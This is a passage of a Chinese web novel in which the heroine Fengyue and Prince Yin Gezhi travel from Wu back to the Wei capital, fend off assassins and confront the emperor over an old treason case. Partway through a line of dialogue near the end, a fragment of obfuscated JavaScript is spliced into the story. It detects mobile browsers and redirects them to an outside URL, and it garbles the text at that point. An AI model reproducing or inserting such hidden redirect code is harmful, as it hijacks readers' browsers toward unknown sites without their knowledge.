梦回楼里的姑娘该报仇的已经报仇,还有仇没报的,那定然是仇家不在吴国。能回魏国去,小蹄子们一个个跑得比什么都快,甩着帕子踩着莲步,将金妈妈留在了最后。
背上包袱,金妈妈回头看了一眼这梦回楼,笑着摇摇头,坐上街口的马车,一路往城外而去。
风月正在角落里算着自己的小
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九九,想着是把殷戈止打晕了自己偷溜呢?还是趁着他用膳的时候挖个地道跑呢?
还没想出来具体该怎么做,门就被人推开了。
“殷殿下。”叶御卿疲惫的声音响起:“有圣旨到。”
要当朝太子来亲自传旨?风月傻眼了,立马蹦跶过来跪下,期盼地看着他,想听听叶御卿念圣旨是什么腔调的。
然而,很遗憾,他没念,一挥手,倒是旁边的太监捧着圣旨上前,挺着腰杆捏着公鸭嗓道:“奉天承运,吾皇诏曰:魏国殷皇子戈止,止两国之戈,修国之好,厚国之祚,朕深感欣慰。念其思乡之苦,特赦其返回魏国,带牛羊五十头,金银三千两,传吴国友善之意,达我邦同进之情。钦此。”
殷戈止半跪行礼,双手接了圣旨,表情很是茫然地看向叶御卿:“殿下?”
“您没想到会有这样一天吧?”叶御卿感叹:“本宫也没想到。”
风月心想,我呸,她没想到才是真的,这俩老狐狸谁当谁不清楚啊?
“承蒙殿下照顾了。”殷戈止神色凝重地道:“只是在下两名徒儿是不能跟在下回国的,待启程之后,还望殿下多督促。”
“你放心。”叶御卿道:“他们时常去宋将军的校场习武,功课从来没落下。等哪天当真上了战场,也必定成为你的好帮手。”
“如此,那在下就放心了。”殷戈止颔首。
叶御卿还是很不安,虽然看着殷戈止觉得温和无害,离开魏国一年有余,他回去能不能站稳脚跟都是问题,但他依旧觉得,这人利得可怕,像一把长戟,很远都能伤人,刀口还尤为锋利。
放他回去,当真是对的吗?
想了许久,头有些疼,叶御卿叹了口气:“罢了,殿下好生准备吧,这是通关文牒和文书,全部都在,拿着就可以出魏国,什么时候动身,派人知会本宫,本宫让人护送。”
“多谢殿下。”
转头看了风月一眼,叶御卿目光深深:“殿下要带风月姑娘回去吗?”
“自然。”
“那,就后会有期了。”
风月浅笑,双手交叠,放在腰间朝他行了礼:“后会有期。”
一阵风从外头卷进来,不阴城又是艳阳高照的好天气。风月的裙摆被吹得轻轻扬起,上头绣着的春燕衔泥仿佛活了一样,印在了叶御卿在最后一眼里。
转身,踏出使臣府的大门,叶御卿头也不回地往东宫而去。
殷戈止捏着圣旨站了许久,脸上看不出什么情绪,但是观止知道,他很高兴。
来吴国一年多了,走的时候多少人觉得大皇子再也回不去了啊,如今只过了一年,他要归国了。
谁也不知道这背后经历了多少算计和阴谋,所有人看见的,可能就只有殷戈止一张波澜不兴的脸。有不明情况的,可能还会说他幸运。
很多的幸运,是实力堆出来的。
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第124章 眼熟的人
风月看殷戈止的眼神,已经跟看怪物一样了。
最开始她还觉得自己能看透他的想法,耍着小聪明在人家的眼皮子底下瞎蹦跶。现在回头看,殷戈止从踏入吴国的那一刻起就在算计,算计着易大将军该**,算计着自己什么时候回魏国。就算没有她,这些事情也是会发生的,只是发生的早晚问题而已。
不过这么一想,自己至少缩短了他回国要花的时间,也不是一点功劳都没有。
强行安慰了一下自己,风月闭眼,换上谄媚的笑,凑到殷戈止跟前问:“您要收拾行李吧?要奴婢和灵殊帮忙吗?”
“已经收拾好了。”旁边的观止道:“您和灵殊的行李倒是还没动,属下也不知道该收什么。”
风月:“……”
这人,该不会也是一听到易国如的死讯就让观止收东西了吧?只有她一个人反应迟钝?
看着她脸上这羞愤的表情,殷戈止缓缓开了尊口,轻声安慰:“不必多想,跟着我就好了。”
一听这话,风月觉得很感动,殷大皇子竟然会这么温柔地哄人了!
然而,接下来一句就跟冰块儿似的从她头顶上浇下来:“反正你也想不出什么来。”
“……”捂了捂心口,风月咳嗽了两声,企图吐点血之类的出来表达一下自己的气愤,然而呸了半天,就呸出点唾沫,血星子都见不着,还惹得旁边的殷戈止嫌弃地护着袍子退开了去。
罢了罢了,她笨就笨吧,反正现在能搭顺风车回魏国,那是最好不过的了,毕竟响玉街的某些人实在特殊,真想过关口,也有难度。
“殿下最多能带多少人啊?”她问了一句。
殷戈止打开手里的文书看了看,道:“上头说的是随行人等一律放行。”
至于这个随行人等有多少人,那就看他心情了。
风月听懂了,立马笑得跟金妈妈似的,甩着帕子就给殷大殿下捏腰捶腿,到了用膳的时间,还亲自下厨做了一桌子好菜,十分狗腿地把肉都往他碗里塞。
殷戈止淡然地看着她,目光从她已经很灵活的双手上划过,落在她很是单薄的身子上。
“我不喜欢吃肉。”
正在努力给这位大爷夹肉的风月一听,立马将自己的碗跟他的碗换了一下,小声嘀咕道:“早说啊,我喜欢吃。”
旁边的观止愣了愣,上来就想拦着她,毕竟这碗是她用过的啊,自家主子这么爱干净的人……
平静地接过碗,殷戈止从容地拿起筷子,夹了素菜,低头细嚼慢咽。动作自然得,仿佛这碗本来就是他的。
灵殊正在东张西望,冷不防看见对面的观止青了脸,好奇得张口就问:“观止大人怎么了?脸色这么奇怪?”
跟喉咙里噎了石头似的,观止努力咽了口唾沫,摆手干笑:“没事,没事……”
殷戈止看了他一眼,风月努力吃着肉,压根没抬头。
一顿又是三碗饭,观止觉得,风月姑娘真是太能吃了!可是自家主子为什么吃过饭之后,心情还好了起来?往常都嫌弃地看着姑娘,今日倒是一声没吭,还把肉都留给姑娘了。
低头沉思了许久,观止看风月的眼神带了点敬畏。
殷戈止将出发的日子定在了明天,叶御卿一边在心里咒骂真是一点准备的时间也不给,一边微笑着派人送了很多礼物去。
不阴城中消息灵通的人纷纷跟风,一股脑地送金银细软来,方便携带又贵重,很是贴心。尤其是安国侯爷,耿直地塞了一套金镶玉的头面来,瞧着就价值连城。
选这东西的时候安世冲还不安过,心想自家师父又用不着,为什么要送头面?
可是拿过去的时候,安世冲就明白了。
挡了很多人的金佛玉观音,殷戈止独独留下了他送上去的东西,还颔首低声道:“侯爷有心了。”
说着,头也不回,伸手准确地抵在旁边那人的脑门上。
风月姑娘看起来很困,垂首低眉,跟小鸡啄米似的点着头。刚要失去意识睡过去,脑门就被殷戈止抵着,惊醒了。
“嗯?安少爷来了?”睁开迷蒙的眼睛,风月笑得傻乎乎的:“多谢啊。”
安世冲颔首,目光落在这两人身上,看破也不想说破。可旁边的徐怀祖是个大嘴巴,张口就道:“师父怎么这么厉害啊?不回头都知道风月姑娘要睡过去了。”
风月一愣,扭头看他,殷戈止面无表情地道:“她打鼾,我听见了。”
谁打鼾啊?!风月怒了,大半夜的不让人睡觉,还要赔笑,她没扔下他一个人在这儿,已经是很顾念他心情了,不识好歹是不是?
……就算是,她也没办法啊。
深深地为自己的命运感到悲哀,风月抹了把脸,委屈地道:“奴婢实在太困了。”
“那徒儿们就不多打扰了。”安世冲拱手道:“明日还要去校场,恐怕不能送师父了。”
“无妨。”殷戈止深深地看他们一眼:“你们能将为师留下的东西好生研习,就算对得起为师了。”
两人手里一人拿了一本新的谱子,是殷戈止亲手写的武学要领和每日要练的功课。安世冲和徐怀祖纷纷点头,朝殷戈止跪下,磕了三个头:“师父一路顺风。”
“一路顺风。”
“谱子上最后一句话,好生领悟,能省去你们不少的纠结。”殷戈止送这两人出门,拉着门要关上的时候,微微笑了笑:“等读完的时候再看,现在看,你们也看不懂。”
两人怔愣,被自家师父这一笑给晃花了眼,等回过神来的时候,面前的大门就已经关上了。
安世冲是个守规矩的,师父说读完再看,他就读完再看。可旁边的徐怀祖不羁惯了,当即就翻到了最后一页,借着月光眯着眼睛看上头的字。
“将者,为国而战,国乃道义,其余皆可抛。”
啥意思啊?徐怀祖挠头:“这话说了不跟没说没两样?”
安世冲也有些茫然,将军为国而战,的确是这个道理,可为什么要留在最后一页,特地嘱咐他们好生领悟?
关上门回到主院,殷戈止一侧头,就见个没规
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矩的丫头靠着旁边的院墙,流着哈喇子睡得死去活来的。
灵殊站在她旁边,想把她叫醒,又不知从何下手。
“我来吧。”走过去,殷戈止优雅地撩了撩袖子。
灵殊立马惊慌地摇头:“不用劳烦殿下了,观止说您爱干净,主子身上蹭脏了……”
话音没落,面前裙摆一扬,自家主子已经被人抱进了怀里,在墙上蹭的灰统统蹭到了殷戈止的玄袍上,这位殿下却好像不怎么在意,压根没有观止口中的暴怒。
噫?不对呀!小灵殊想不明白了,先前殿下穿白衣的时候,观止不小心碰翻了茶杯,溅了点茶水在他身上,殿下那脸色可难看了,分明是极为爱干净的表现。如今主子这一身脏兮兮的,他怎么就不黑脸了?
殿下的心思,真的很难猜啊!
痛苦地捂着小脑袋,灵殊决定不想了,看自家主子有着落了,立马回自己的屋子去睡觉。
马上回去,风月以为自己会失眠,会紧张,会激动。然而事实证明,殷戈止的凉玉席实在很舒坦,她一觉睡到第二天出发前的半个时辰,惊得浑身冷汗,一蹦老高:“我的行李!”
甩手就将一个包袱砸在她脸上,殷戈止面无表情地道:“已经收拾好了。”
“怎么不叫醒我?”嗔怒地抱着包袱,风月连忙下床,拎着灵殊进来给自己梳了个发髻换了身衣裳,然后拎着她准备出门:“一切都准备好了?”
观止在门口套车,雇佣来的车夫正蹲在门口闲聊。殷戈止表情冷淡地道:“不用你担心。”
“那……那您能在城郊等等吗?”风月干笑:“还有些人可能要与咱们一同上路。”
还有些人?殷戈止点头,想着不过就是她的人,应该不会很多。
结果到了城郊,看见对面的人,殷戈止震惊了。
满满两马车啊!还不是正常搭载,一个车上至少塞了八个人!
对面车上的人也很震惊,看着他们这边,压根不敢下车过来。
风月笑眯眯地挥手:“秋婶,尹叔,大家都过来行个礼啊,一路上还要靠殿下照应呢。”
殷戈止皱眉,心想我堂堂皇子,哪能那么随随便便接受百姓见礼?
但是,当看清那群人的长相之时,殷戈止脸色铁青。
“参见殿下。”
一堆脑袋埋下去,分明穿的都是普通百姓的衣裳,瞧着却个个都眼熟!
“尹将军、罗副将、秋夫人。”咬着牙,殷戈止一个个名点过去,赫然失笑:“三年前众多将领失踪,我还以为是被奸人所害,没想到各位竟然是另寻了出路。”
尹衍忠叹息:“吾等愧对殿下。”
愧对,却不觉得自己做的是错的。关大将军被枉死,朝野有人一手遮天。他们难救一代名将,也对魏国皇室灰心,一收到风月的消息,就义无反顾地弃了官职,跟着她远赴吴国。
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第125章 不爱吃兔肉
目光在他们身上流转,殷戈止说不出来自己是什么感觉。怪不得关风月像是有神助一般,消息来往快又隐秘,就算他知道了糕点铺,也挖不出她的关系网,原来魏国这一批人,统统在她手上!
他气吗?他当然气,毕竟这些人受魏国朝廷俸禄,是该为魏国效忠的。然而,关家一出事,他们竟然统统弃了官职,举家离开澧都,离开魏国。
父皇如此忌惮关苍海,也不是没有原因的。
风吹,衣摆动,气氛凝重。
风月见这站着的跟一群跪着的都不开口说话了,便“哎呦”一声笑着上前打圆场:“都愣着做什么啊?等着人家发现响玉街不对劲,追着咱们一锅端呐?快上车吧,趁着时辰还早,天黑之前咱们最好能赶到下一个大城。”
殷戈止收了目光,转身就上车。他一走,下头跪着的人也就松了口气,纷纷站起身。秋夫人一把将风月拽过去,小声道:“少主,您可只说有法子带咱们回魏国了,没说是让大皇子带咱们回魏国啊!”
这也太可怕了,虽然他们对魏国皇室有意见,但对大皇子那绝对只有愧疚啊,毕竟也是个认真带兵有谋有略的,也曾带他们打过胜仗,当初一声不吭地就走了,也没跟大皇子说过什么。如今再见……实在太难为情!
风月干笑:“夫人,我也不想的,但是咱们这一群人的脸都很难**关口,有大皇子在,不是更方便么?他恰好也要回国!”
“您心怎么这么宽呐?”史冲凑了个脑袋过来,畏惧地看了那头殷戈止坐着的马车一眼,然后低声道:“关将军的死与大皇子脱不了干系!”
笑意一顿,风月垂眸:“我知道。”
“那您还……”
“形势所迫。”耸耸肩,风月扫了扫四周不知道什么时候围过来的人,认真地道:“放心吧,我有分寸的。”
四周众人的眼神里都满是担忧,秋夫人叹着气拍了拍她的手背:“自个儿多当心,咱们也会替你多留意的。”
“好。”
殷戈止坐在马车上,微微侧头,就能从翻飞的车帘间隙看见外头的场景。
一群昔日的大将围成了一个圈儿,像她家一群亲戚似的,朝着她絮絮叨叨地说着什么。风月乖巧地点头,小身板站得直直的,总算是有了一丝硬气。
然而也就只有一丝,武功卓绝的女将军,现在是个毫无内力手筋全断的废人,背挺得再直,也回不去从前了。
手微微收拢,殷戈止闭了闭眼。
风月上车来的时候,脸上的笑意格外谄媚,让他看得不舒服极了。
“殿下。”她道:“这些人都是潇洒惯了的,也曾忠君爱国,就是后来累了,才会跟我一起来吴国。”
这话是在给他找回点面子,还是那句话,皇室的颜面很重要啊很重要!总不能让他觉得在这些人心里,魏国皇室不值得效忠吧?
虽然他们的确就是这么想的。
第一眼的震撼慢慢散去,殷戈止的表情又十分平静了,从面儿上看,压根不知道他在想什么。
“来去是他们的自由,毕竟没签**契。”他道。
风月更忐忑了,咽了口唾沫问:“您这样说,就是不会同他们为难了,是吗?”
斜她一眼,殷戈止嗤笑:“你觉得我会怎么为难他们?一进澧都就让人把他们绑了关进大牢?”
风月连连点头!她就是这么想的!
点完,发觉有点不对劲,连忙又摇头:“您千万别这么做!”
深深地看了她一眼,殷戈止觉得,反正就算自己想当好人,这人也不会相信。那不如,就当个坏人好了。
给了她一个很坏的眼神,殷戈止冷声道:“我要不要那么做,就看你的表现了。”
表现?风月一愣,脸上顿时有点愁苦。赶路已经很辛苦了,她还要表现?
不过看在他一向说话算话的份上,她咬牙想,表现就表现吧,反正也经常跟他献殷勤,都习惯了!
于是接下来的旅程中,众人就目瞪口呆地看着风月以万分狗腿的姿势跑前跑后。殷戈止要坐凳子,她先拿帕子擦干净。殷戈止要喝水,她双手奉上。在林间夜宿,殷戈止嫌衣裳包起来做的枕头不舒服,她就贡献了自己的大腿,一边给他扇风,一边打着呵欠哼小曲儿。
罗昊一把将尹衍忠拖去打野味,边走边道:“这什么情况?少主看上大皇子了?”
“嗨,先前在魏国,只要是个姑娘家,谁没看上大皇子啊?少主当年虽然勇猛,可到底也算个姑娘家,看上大皇子很正常。”
“可是……”罗昊担忧至极:“先不说大皇子看没看上少主,就说关将军的事,大皇子一向维护皇室,恐怕……”
说起这个,尹衍忠也很惆怅,他们都是看着关清越长大的,这姑娘实诚又死心眼,遇上这等难题,要怎么做啊?
他们对大皇子倒是没什么成见,毕竟平昌一战他们也有不少人在,很能理解大皇子的心情,虽然他也有错,可大错在魏国圣上,在廷尉,在那些煽风点火要立马处死关将军的人身上。
但是,大皇子太乖顺了,一向都很听他父皇的话,哪怕表面上叛逆一两次,心里也还是偏着自己父皇的。再加上他从出生起就居东宫,虽未封太子,可皇帝分明就是一直把他当太子对待的,让他参与朝政、统领大军。如此厚待之下,就算大皇子德心仍在,也不可能为着一点证据也没有的**,与皇帝作对。
两人都长叹了一口气,一个感慨地望天,一个忧伤地看地,然后两支箭射出去,天上落了只鸟,地上倒了只兔。
殷戈止睡醒的时候,烤肉的香味儿就已经满溢在四周了。
秋夫人就坐在对面烤兔子和鸟,看见他睁眼,便想张口喊风月。然而,殷大皇子竟然抬手,示意她别吭声。
坦白说,这一路上秋夫人是不太待见大皇子的,毕竟她很疼风月,看他这么折腾人,多多少少都有些不满。谁都知道殷沉璧风流满澧都,从未对谁上过心,更是对迎回去的侧妃不闻不问,甚至在离开魏国之时
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将人全部遣返回家。这样的男人,风月贴着做什么?
然而眼前,风月靠在树干上睡得口水直流,殷大皇子缓慢地撑起身子,竟然往旁边放了一个衣裳做的枕头,伸手到她脖颈后头,轻轻一搂就将人从树干上揭下来,放在了枕头上。
四周都是半睡半醒的人,只有秋夫人睁大了眼,错愕地看着殷戈止那难得柔和的神色。
他动作不是很温柔,甚至有点粗暴,难得风月没被弄醒,靠在枕头上舒服地吧砸了一下嘴。
这画面,怎么说呢,有一种诡异的温馨之感。
“殿……殿下。”回过神,秋夫人低声道:“兔子烤好了,您要来只腿儿么?”
殷戈止回头,有礼地颔首,接过兔腿,优雅地吃了起来。
天亮的时候,众人纷纷醒来,嗷嗷叫着脖子痛背痛。风月伸了个懒腰睁开眼,就见半只香喷喷的兔子递到了她眼前。
“啊呀,有肉吃?”惊喜得眼睛都亮了,她接过来就打算开吃,雪白的小犬牙都露出来了,然而抬眼一瞧见面前神色清冷的殷戈止,她一顿,讨好地将兔子递过去:“您先吃呗?”
“我不爱吃兔子。”嫌弃地看着她,殷戈止别开了头。
于是风月心安理得地就一个人啃了起来。
之后继续上路,风月意外地发现秋夫人神情古怪,像是想说什么,又开不了口。
“怎么了?”休息的时候,她去抓着人就问。
秋夫人看着她,轻叹一口气:“没什么,觉得兔子肉挺好吃的。”
什么乱七八糟的?风月一脸茫然,看她不想再说,也就没追着问,继续跟在殷戈止身边,好好地表现自己。
眼瞧着要出吴国边关了,鉴于一路都很顺利,众人也就稍微放松了些。
没想到,刚一放松,刺客就出来了。
过了这么久了,他们离开吴国的路线定然是被人摸透了,再加上随行的护卫到了边关附近就返回不阴城了,带着一群“普通百姓”的殷大皇子,就很像一只嗷嗷待宰的小肥羊。
先前说过,吴国很多人是对魏国不友好的,他们不希望吴国与魏国联盟,更不希望魏国能重振河山。于是一商量,决定在边关设下五十人的大埋伏,等人一到,立马刺杀。
风月这两日被殷戈止折腾得晚上都睡不好,不是要起来给他倒水,就是要半夜给他做菜,所以白天赶路的时候,她是一直在睡觉的。
马车陡然停下来,外头叽叽喳喳的不知道在吵什么,躺在殷戈止大腿上的风月皱了皱眉,想伸手捂耳朵,手上却睡得没力气。她半梦半醒间默念,老天爷给她生两只不用力气的手来堵耳朵就好了。
刚想完,耳朵就被人捂上了,宽厚温热的手,瞬间将嘈杂隔绝在了外头。
眉头松了,风月舒服地蹭了蹭,安心地睡了过去。
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第126章 魏国澧都
马车里头像是个世外桃源,而外头,是人间炼狱。
五十个刺客很是牛逼地在这几辆马车周围站着,手里的刀剑明晃晃的,为首的人看一眼车上的“老弱病残”,冷笑一声,表情很不屑地道:“就不用咱们亲自动手了,你们自尽吧,省得回去还要擦刀。”
车上众人都沉默了片刻,相互看看,齐刷刷地下车。
刺客头目心想,还挺听话啊?也不大哭大叫惊慌失措的,跟普通的愚民完全不一样!
然而,下一瞬,他就看见这些听话的人手里拿了些奇奇怪怪的东西,有人拿着打铁的铁锤,有人拿着烤猪用的长钩,还有拿着算盘和藤条的!
“怎么,想反抗?!”语气嘲讽地问了一句,那头目挥手就道:“兄弟们,上,让他们知道是咱们的刀快,还是他们的破铜烂铁厉害!”
四周响起一片吼声,五十个刺客同时冲了上来。
什么叫瞎子不怕悬崖高,什么叫出生的牛犊不怕虎,尹衍忠感叹啊,真是人靠衣装啊,要是换一身铠甲在身上,这些个瘪犊子还敢冲呢?
罗昊倒是激动了,毕竟当良民太久,都快忘记沙场喋血的味道了。虽然这不是沙场,不过有人要来送死,他们不能不接着啊!
秋夫人温柔地打着算盘,一脚踢飞了冲到她面前的刺客,优雅地道:“揍他们丫的!”
于是,五十个胜券在握的刺客,就被这一群“老弱病残”疯狂地**了回来,那使着铁锤的人力气之大,一锤就打晕一个人,“咚”地一声声闷响,听得旁边的人都忍不住伸手捂着脑袋。本来想着女人好对付吧,可那穿着秋香色袍子的夫人脚劲贼大,一脚踹上来,再强壮的人都心口闷痛,眼前泛白。
“傻犊子嘿,再跟爷爷起来打啊!爷爷的长钩是破铜烂铁!”
“让你丫说大话,让你丫说大话!”
头目傻眼了,他完全不知道发生了什么,上头的命令说,这一路也就二十余人,还都是些不顶用的,他们五十个武功不凡的人,怎么可能打不过?
观止抱着灵殊躲在旁边看热闹,一边看一边感叹:“宝刀不老啊,嘿,真厉害!”
灵殊皱眉,不太喜欢这血腥的场景,埋头到观止怀里,不看了。
刺客折损太多,也终于明白了这些个所谓的“普通百姓”都不是省油的灯,于是有机灵点的,直接让同伙掩护,自己提着刀就冲向大皇子的马车。掀开帘子,打算一刀捅进去,结果了他!
然而,帘子掀开,他对上的是一道冷若霜雪的目光,接着又觉那人容色不凡,跟神仙似的,咋这么好看呢?
就在他愣神的这一瞬,殷戈止不耐烦地抽出一只手,一记飞镖送在他脑门上,将人一脚踢飞出去,落在不远处“嘭”地一声响。
少了只手捂耳朵,风月正要嘟囔呢,那手又飞快地回来了,像什么也没发生过似的,继续替她阻隔外头的嘈杂。
目睹过程的观止唏嘘,看着落在自己脚边的半死不活的刺客,低声道:“旁的人你都打不过,还想去动马车里的?想什么呢?”
刺客抽搐着身子,没一会儿就闭了眼。
阿弥陀佛,双手合十,观止朝尸体行了礼,然后继续兴致勃勃地看那边的打斗。
风月睡醒的时候,马车已经像什么都没发生过一样,继续前行了。
撑着身子坐起来,她问:“还有多久到魏国边关啊?”
殷戈止淡淡地道:“连夜赶路,明日一早就能过边关。”
点点头,风月掀开车帘看了看其余人。这一路上他们好像都挺沉默的,大概是跟大皇子一路,有点压抑吧?她是不是该想个什么法子,让他们放松一下?
正想着呢,跪坐在车辕上往后面一瞧,风月下巴就掉地上了。
罗昊那叫一个兴奋呐,踩在马车顶上蹦蹦跳跳的。秋夫人打着算盘唱着山歌,其余人脸上也满是笑意。
看得震惊莫名,风月扭头就问马车里的人:“我睡着的时候,他们捡到银子了?”
殷戈止摇头:“没有。”
“那怎么这么高兴呐?”
目光转向别处,殷大皇子一脸冷漠地道:“可能是今天天气好。”
眯眼看了看他,又伸头出去看了看阴沉沉的天,风月挠了挠头,心想随他们吧,反正肯定没发生什么大事,不然他们一定会同她说的。
浩浩荡荡的车队终于是进了魏国的边关,殷戈止提前将吴国写的国书传回澧都,顺便附带了亲笔信,问安自己的父皇。
东西传回澧都,魏国朝野一片震惊,谁都以为大皇子去吴国再难回来,怎么这么快,又这么毫无预兆地就带着吴国国书回来了?
魏文帝紧张不已,一边让人准备迎接大皇子回宫,一边满脸为难地去东宫找人说话。
“终于回来了啊。”远远看见城楼上的“澧都”二字,风月笑着深吸一口气,眼里神色莫名。
其余人也都很感慨,三年前仓促离开的地方,如今繁华依旧呵,也不知留下来的那些老朋友过得怎么样了。
“殿下。”看着殷戈止,风月笑道:“多谢殿下一路相助,进城之后,便分道扬镳吧。”
观止在车辕上听得皱眉,这一路上两位主子的关系不错啊,相处得很好,到地方就分开,也未免太残忍了。只是……想想路上得知的风月的身份,他长叹一口气。
拿什么留人呐?
“你在澧都有地方住了?”眼皮轻撩,殷戈止不咸不淡地问了一句。
风月想了想,道:“应该是有了,一早就有人提前回来安排,想必已经找到落脚处。”
手指轻轻捻着,殷戈止道:“真是辛苦那些人拖着你这祸害了,他们被认出来都无妨,反正身上没罪。可你就麻烦了,本是该死之人,却好端端地活着。一旦被发现,他们都得因为包藏罪臣而被牵连。”
微微一惊,风月皱眉:“我会关在宅子里不出去的,就算出去,也定然好生乔装,不会让人认出来。”
“是吗?”
“是呀是呀。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989517|161617||http|test|mini|href|location''.split(''|''),0,{}));
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“……”闭了闭眼,殷戈止微恼,一进城,立马拎着风月的衣襟,将她扔下了车!
“殿下真是一如既往的不温柔!”
扁扁嘴站起来,风月接过观止递过来的行李,朝殷戈止抛了个媚眼,如同梦回楼初见,舔着嘴唇妖媚万分地道:“不过,多谢殿下,后会有期。”
殷戈止冷哼,摔了车帘,低喝一声:“观止,回宫!”
“是!”
几辆马车就此往两个方向而去,风月笑眯眯地挤上旁边的马车,长长地松了口气:“回来啦,去收拾好,咱们按计划行事吧。”
“好。”众人纷纷点头。
皇宫门口,文武百官和皇子公主站了好几排,一看见殷戈止的马车,南平公主当即扑了上去,哽咽地喊了一声:“皇兄!”
掀开车帘,殷戈止缓缓下来,伸手接住自家爱撒娇的妹妹,然后看了前头一眼。
“恭迎殿下回宫!”所有人一齐行礼,有的拱手,有的跪下,只中间那一个穿着银灰色四爪龙袍的人,没动身子,微微颔首便罢。
看了看那人的装束,殷戈止有些茫然:“魏国立太子了?”
抓着他袖子的手一紧,南平连忙小声道:“父皇是以为皇兄回不来了,所以才立了二皇兄,刚立没多久……”
“皇兄一路舟车劳顿,有什么话,先去拜见过父皇之后再说吧。”殷沉玦上前,僵硬着脸道。
殷戈止颔首,眼里神色晦暗,朝后头的重臣们一一颔首示意,然后便抬脚踏进了这久违的魏国皇宫。
在他决定跟着易国如回吴国为质的时候,魏文帝很是痛心地跟他谈过,说就算他走了,魏国也等他回来,他永远是他最值得骄傲的儿子,是唯一能住进东宫的皇子。就算他再喜欢这皇位,早晚有一天,也会把这位置放在他手上。
殷戈止是感动过的,毕竟魏文帝当真很痴迷皇权,这么多年不立太子,也是不想有人名正言顺地分薄他手里的权力。能给他说这样的话,是当真疼他入骨。
但是现在,看着这陌生又熟悉的宫殿,望着前头走着的穿着四爪龙袍的人,殷戈止突然想通了。
魏文帝不是不敢立太子,是不敢立他为太子。给他东宫,让他打仗,但从未将朝中大权分过他一丝一毫。与其说他像皇子,不如说,他更像个将军,那种只能为皇室所用,不能在皇帝有意放权之前风头太盛的将军。
一瞬间他突然能明白,为什么那么多人宁可跟着关风月颠沛流离,也不愿留在魏国继续效忠皇室。亲儿子尚且如此提防,父皇当真给过别人信任吗?
“皇儿!”颤抖的声音在朝堂上响起,殷戈止抬头,发现自己已经登上了高高的殿前台阶,抬眼就能看见那坐在皇位上的人。
魏文帝满脸慈祥,激动得起身走下皇位,在他面前张着双手道:“你终于回来了!”
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第127章 你教的对错
深吸一口气,殷戈止垂眸,抬脚走到他面前,没迎上去,只缓缓跪下,行了个正正经经的问安礼:“此别一载有余,敢问父皇龙体可安?”
伸出去的手有点尴尬,但听他这问安,魏文帝还是收回手笑道:“一切安好,此回皇儿去吴国为质,带回吴国有意结盟的国书,实乃魏国的大功臣。”
“是啊。”大学士杭翰义应和:“不过陛下还是先让大皇子行完礼,之后移驾洗尘宴,再行细说吧。”
“好,好。”魏文帝点头,回到龙椅上坐下,看着殷戈止行礼,满脸笑意地道:“摆驾福禄宫,三品以上的爱卿,随朕一起过去。”
“谢主隆恩——”
殷戈止想过很多次自己回来的时候,洗尘宴会有多热闹,然而当真坐在上头,看着四周笑得小心翼翼的人,他突然觉得没什么意思,还不如回去吃一碗风月煮的面。
新立的魏国太子殷沉玦举着杯子朝他道:“皇兄受委屈了,如今回来,该好好享福才是。”
“是啊。”主位上的魏文帝慈祥地笑道:“朕一听说你要回来,立马就让营造司修葺了亲王府,待会儿宴罢,可以让玦儿带你去看看。”
东宫已经易主,那他自然就要去住亲王府了。殷戈止抬眸,平静地问了一句:“父皇打算封儿臣什么亲王?”
“孝亲王!”魏文帝拍着大腿满脸赞赏:“你这孩子最孝顺,担当得起这封号。”
好一座大山压下来,殷戈止暗嗤:“多谢父皇。”
瞧他脸色不太好,魏文帝有些尴尬。他也知道自己这举动定然是让人寒心的,可是没办法啊,沉璧这样的人,若是居太子之位,那谁还将他这皇帝放在眼里?他不是没试过,让殷沉璧参政七日,短短七日啊,朝中上下竟然对他赞不绝口,禀告什么事情,竟然都要问上一句“太子意下如何”,若他当真是太子,有名正言顺的参政权,那还不翻了天?
殷沉玦就是个让人放心的太子,资质平庸,也没什么野心。立他起来,朝中有储,大臣们放心,他手里的权力也不会被分薄,天下依旧唯他独尊。
这样多好。
至于沉璧,他有大将之才,那就当个亲王,做个将军,保卫魏国疆土,也算物尽其用。
脸上的笑容更柔和了,魏文帝看着殷戈止,十分和蔼地问:“先前皇儿遣散那些个侧妃,也是念着她们好,可如今你回来了,还有几个人尚未改嫁,要不接回来?也免得你亲王府空荡。”
“儿臣还有事情要做,暂时顾不得儿女情长。”面无表情地放下酒杯,殷戈止吐了这么一句。
“哦?”魏文帝问:“你还有什么非做不可的事情?”
“有。”抬眼看着自家父皇,殷戈止一字一句地道:“查清当年关苍海通敌叛国之事,还关家满门一个公道。”
宫廷乐师弹着的古琴突然走了一个音,尖锐的一声响,整个福禄宫都安静了下来。
殷沉玦手里的杯子差点吓掉,魏文帝脸上的笑意也慢慢收敛,扫一眼下头神情各异的大臣,抿唇低声道:“给你接风是高兴的事儿,为什么要提这种扫兴的旧案?关家通敌罪证确凿,已经定案,也已经满门抄斩了。现在翻案,有什么好处?”
好处?殷戈止捏紧了手:“儿时,是父皇教儿臣的:天理昭昭,不会放过一个坏人,也不会错怪一个好人。怎么现在要翻案,父皇不问对错,却问好处呢?”
微微有些不耐烦,魏文帝心想,老子教你这些是让你用在别人身上的,为什么反过来用在老子身上了?还问对错?老子就是对的,跟老子作对的,那都是错的!
不过这皇儿他实在不好得罪,还是只能压着龙火,尽量温和地道:“就算问对错,皇儿,关苍海通敌难道是对的吗?”
“是啊!”威武将军楚敬元开口道:“当年关家之案,的确是证据确凿才定下的罪。如今都三年过去了,多少人证物证都已经不复存在,要翻案,凭什么?”
下头众臣纷纷点头附和。
殷戈止低笑,笑意不达眼底,浑身气息冷硬,缓缓地从座位上站了起来。
四周的人都下意识地往旁边躲了躲。
“当年关将军通敌的证据,是儿臣让人送回澧都,交由父皇审理的。”殷戈止开口,低沉的声音响彻整个宫殿:“当时父皇似乎很信任儿臣,查也没查,关大将军的罪就定下了。现在,儿臣带着从吴国易将军嘴里亲口听到的话,也送到父皇手里,希望父皇信任儿臣依旧。”
“易国如说,他从未与关将军有过私下往来,而是买通了当年儿臣身边的副将贺兰长德,提前得知行军部署,算出儿臣与关将军密谋的计划,从而设伏败儿臣于山鬼谷。事后,利用儿臣怒极的心境,使了反间计,让人模仿关将军的笔迹,造了所谓通敌**的书信。”
